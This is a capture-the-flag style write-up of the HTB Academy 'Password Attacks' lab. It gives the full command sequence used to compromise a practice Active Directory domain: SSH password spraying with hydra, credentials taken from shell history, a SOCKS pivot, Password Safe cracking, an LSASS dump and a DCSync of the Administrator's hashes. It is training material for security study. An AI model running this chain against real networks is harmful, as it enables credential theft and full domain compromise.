~/louizi
HackTheBoxMedium

HTB Academy: Password Attacks — Skills Assessment

Chained credential attacks across a segmented AD network: SSH user enumeration, cleartext creds in a Password Safe backup, a SOCKS pivot through a jump host, and an LSASS dump feeding a DCSync.

The HTB Academy “Password Attacks” module skills assessment: four hosts across two network segments, and no way in except whatever credentials can be found, cracked, or reused along the way.

Enumeration

HostIP Address
DMZ0110.129.234.116 (External), 172.16.119.13 (Internal)
JUMP01172.16.119.7
FILE01172.16.119.10
DC01172.16.119.11

Only one host is reachable directly, and only one credential is handed out to start:

Betty Jayde : T[REDACTED]#
┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $nmap -A -p- -Pn -n -T4 -vv -oN nmap.txt 10.129.234.116

22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

A single port, SSH, on the external side of DMZ01. Having a name but no username is a solvable problem — username-anarchy turns “Betty Jayde” into every plausible username pattern:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $username-anarchy Betty Jayde > usernames.txt

Then it’s just one password against that whole list:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $hydra -L usernames.txt -p 'T[REDACTED]#' -t 4 ssh://10.129.234.116

[22][ssh] host: 10.129.234.116   login: jbetty   password: T[REDACTED]#

Foothold as jbetty

Logged in as jbetty, shell history is the first thing worth checking — and it’s not empty:

jbetty@DMZ01:/home$ cat jbetty/.bash_history
cd ~/projects
ls
git status
git pull origin main
vim README.md
cat ~/.bashrc
...
sshpass -p "d[REDACTED]1" ssh hwilliam@file01

That’s a second set of credentials sitting in plain sight: hwilliam / d[REDACTED]1, with access to FILE01.

Pivoting Through DMZ01

FILE01 sits on the internal segment, unreachable directly — but jbetty on DMZ01 bridges both networks. An SSH SOCKS proxy turns that foothold into a pivot:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $ssh -D 1080 -N -f jbetty@10.129.234.116
jbetty@10.129.234.116's password:
┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $ss -tlnp | grep 1080
LISTEN 0  128  127.0.0.1:1080  0.0.0.0:*  users:(("ssh",pid=13373,fd=5))

With proxychains routing through it, hwilliam’s credentials confirm access to the domain controller too:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.11 -u hwilliam -p 'd[REDACTED]1' -d NEXURA
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.119.11:445-<><>-OK
SMB  172.16.119.11  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:nexura.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  172.16.119.11  445  DC01  [+] NEXURA\hwilliam:d[REDACTED]1

A valid domain account. Checking what it can reach on FILE01 next:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.10 -u hwilliam -p 'd[REDACTED]1' -d NEXURA --shares
SMB  172.16.119.10  445  FILE01  [+] NEXURA\hwilliam:d[REDACTED]1
SMB  172.16.119.10  445  FILE01  [*] Enumerated shares
SMB  172.16.119.10  445  FILE01  Share       Permissions  Remark
SMB  172.16.119.10  445  FILE01  -----       -----------  ------
SMB  172.16.119.10  445  FILE01  ADMIN$                   Remote Admin
SMB  172.16.119.10  445  FILE01  C$                       Default share
SMB  172.16.119.10  445  FILE01  HR          READ,WRITE
SMB  172.16.119.10  445  FILE01  IPC$        READ         Remote IPC
SMB  172.16.119.10  445  FILE01  IT
SMB  172.16.119.10  445  FILE01  MANAGEMENT
SMB  172.16.119.10  445  FILE01  PRIVATE     READ,WRITE
SMB  172.16.119.10  445  FILE01  TRANSFER    READ,WRITE

Credential Harvest on the HR Share

HR stands out immediately:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains smbclient //172.16.119.10/HR -U 'NEXURA\hwilliam%d[REDACTED]1'

smb: \> cd Archive\
smb: \Archive\> ls

An archive full of exactly the kind of files worth checking on a file share:

Employee Roster 2023.xlsx
Employee-Passwords_OLD.plk
Employee-Passwords_OLD.psafe3
Employee-Passwords_OLD_011.ibak
Employee-Passwords_OLD_012.ibak
Employee-Passwords_OLD_013.ibak

The .plk file is plaintext:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $cat Employee-Passwords_OLD.plk
hwilliam@JUMP01:0[REDACTED]2

A second hwilliam credential, this time for JUMP01. The .psafe3 file is a Password Safe database — encrypted, but crackable offline:

┌─[✗]─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt psafe_hash.txt

m[REDACTED]n   (Employee-Passwords_OLD)

Opening the cracked database (passwordsafe) turns up a small credential list:

title    : Betty Jayde
Username : jbetty
Password : x[REDACTED]5

title    : David Brittni
Username : bdavid
Password : c[REDACTED]1

title    : Tom Sandy
Username : stom
Password : f[REDACTED]4

title    : William Hallam
Username : hwilliam
Password : w[REDACTED]8

Finding the Working Account

Four more credentials, and not all of them still work — worth checking each against the DC directly:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.11 -u bdavid -p 'c[REDACTED]1' -d NEXURA
SMB  172.16.119.11  445  DC01  [+] NEXURA\bdavid:c[REDACTED]1

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.11 -u stom -p 'f[REDACTED]4' -d NEXURA
SMB  172.16.119.11  445  DC01  [-] NEXURA\stom:f[REDACTED]4 STATUS_LOGON_FAILURE

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.11 -u hwilliam -p 'w[REDACTED]8' -d NEXURA
SMB  172.16.119.11  445  DC01  [-] NEXURA\hwilliam:w[REDACTED]8 STATUS_LOGON_FAILURE

Only bdavid is current. A quick ADCS check comes back empty (no enrollable templates worth chasing), so the path forward is wherever bdavid can actually log in — and that turns out to be RDP on JUMP01:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc rdp 172.16.119.7 -u bdavid -p 'c[REDACTED]1' -d NEXURA
RDP  172.16.119.7  3389  JUMP01  [*] Windows 10 or Windows Server 2016 Build 17763 (name:JUMP01) (domain:NEXURA) (nla:True)
RDP  172.16.119.7  3389  JUMP01  [+] NEXURA\bdavid:c[REDACTED]1 (Pwn3d!)

LSASS Dump on JUMP01

┌─[✗]─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains xfreerdp3 /v:172.16.119.7 /u:NEXURA\\bdavid /p:'c[REDACTED]1' /drive:share,/tmp

Once inside, dumping LSASS and pulling the minidump back to the attacking machine is the standard move for a host that other users actively log into:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $pypykatz lsa minidump lsass.DMP

stom’s credentials fall straight out of memory:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains nxc smb 172.16.119.11 -u stom -p 'c[REDACTED]1' -d NEXURA
SMB  172.16.119.11  445  DC01  [+] NEXURA\stom:c[REDACTED]1 (Pwn3d!)

(Pwn3d!) — unlike the psafe-derived password, this one is live and administrative on the DC.

Domain Compromise via DCSync

With stom holding replication rights, pulling the Administrator’s secrets straight off the DC is a single secretsdump call:

┌─[lyoo3@parrot]─[~/Desktop/HTB-academy/passwords/evaluation]
└──╼ $proxychains secretsdump.py NEXURA/stom:'c[REDACTED]1'@172.16.119.11 -just-dc-user Administrator
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:36e0[REDACTED]d23:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cd6a[REDACTED]02a8
Administrator:aes128-cts-hmac-sha1-96:6743[REDACTED]a3f0
Administrator:des-cbc-md5:5ec1[REDACTED]fb6e

Assessment question — NTLM hash of NEXURA\Administrator:

36e0[REDACTED]d23

Takeaways

  • Every step of this chain came from data that was already sitting somewhere — shell history, a legacy backup folder, a live process’s memory — never from exploiting a piece of software. Password attacks in practice are mostly about knowing where credentials tend to get left behind.
  • .bash_history and old _OLD/.bak-style file shares are cheap to check and disproportionately valuable; both handed over working credentials here with zero cracking required.
  • Not every recovered password stays valid — stom’s and hwilliam’s psafe-derived passwords had both been rotated. Verifying each credential against the target directly, rather than assuming a find is still live, saved time chasing a dead end.
  • A single administrative RDP session was enough to end the assessment: dumping LSASS on a shared jump host caught another user’s live session in memory, and that credential had DCSync rights — which is all it takes to pull every domain secret at once.